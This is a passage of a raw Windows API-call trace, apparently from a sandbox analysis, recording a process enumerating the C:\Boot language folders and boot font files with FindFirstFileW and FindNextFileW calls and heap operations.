cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0077.878] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="..", cAlternateFileName="")) returned 1 [0077.879] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.879] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0077.879] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0077.879] FindClose (in: hFindFile=0x11b9dd0 | out: hFindFile=0x11b9dd0) returned 1 [0077.879] GetProcessHeap () returned 0x11a0000 [0077.879] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0077.879] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="es-ES", cAlternateFileName="")) returned 1 [0077.879] GetProcessHeap () returned 0x11a0000 [0077.879] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0077.879] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0077.879] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="..", cAlternateFileName="")) returned 1 [0077.879] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.879] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0077.880] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0077.880] FindClose (in: hFindFile=0x11b9dd0 | out: hFindFile=0x11b9dd0) returned 1 [0077.880] GetProcessHeap () returned 0x11a0000 [0077.880] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0077.880] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="es-MX", cAlternateFileName="")) returned 1 [0077.880] GetProcessHeap () returned 0x11a0000 [0077.880] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0077.880] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-MX\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0077.880] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="..", cAlternateFileName="")) returned 1 [0077.880] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.880] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.880] FindClose (in: hFindFile=0x11b9dd0 | out: hFindFile=0x11b9dd0) returned 1 [0077.880] GetProcessHeap () returned 0x11a0000 [0077.880] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0077.880] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="et-EE", cAlternateFileName="")) returned 1 [0077.880] GetProcessHeap () returned 0x11a0000 [0077.880] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0077.881] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\et-EE\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0077.881] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="..", cAlternateFileName="")) returned 1 [0077.881] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.881] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.881] FindClose (in: hFindFile=0x11b9dd0 | out: hFindFile=0x11b9dd0) returned 1 [0077.881] GetProcessHeap () returned 0x11a0000 [0077.881] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0077.881] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0077.881] GetProcessHeap () returned 0x11a0000 [0077.881] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0077.881] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11b9f10 [0077.881] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="..", cAlternateFileName="")) returned 1 [0077.881] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.881] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0077.882] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0077.882] FindClose (in: hFindFile=0x11b9f10 | out: hFindFile=0x11b9f10) returned 1 [0077.882] GetProcessHeap () returned 0x11a0000 [0077.882] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0077.882] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="Fonts", cAlternateFileName="")) returned 1 [0077.882] GetProcessHeap () returned 0x11a0000 [0077.882] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0077.882] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0077.883] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="..", cAlternateFileName="")) returned 1 [0077.883] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0077.883] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0077.883] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0077.883] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0077.883] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="malgunn_boot.ttf", cAlternateFileName="MALGUN~1.TTF")) returned 1 [0077.883] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="malgun_boot.ttf", cAlternateFileName="MALGUN~2.TTF")) returned 1 [0077.884] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="meiryon_boot.ttf", cAlternateFileName="MEIRYO~1.TTF")) returned 1 [0077.884] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="meiryo_boot.ttf", cAlternateFileName="MEIRYO~2.TTF")) returned 1 [0077.884] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="msjhn_boot.ttf", cAlternateFileName="MSJHN_~1.TTF")) returned 1 [0077.884] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="msjh_boot.ttf", cAlternateFileName="MSJH_B~1.TTF")) returned 1 [0077.884] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="msyhn_boot.ttf", cAlternateFileName="MSYHN_~1.TTF")) returned 1 [0077.884] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="msyh_boot.ttf", cAlternateFileName="MSYH_B~1.TTF")) returned 1 [0077.884] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef96ef3e, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf3b, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="segmono_boot.ttf", cAlternateFileName="SEGMON~1.TTF")) returned 1 [0077.884] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, 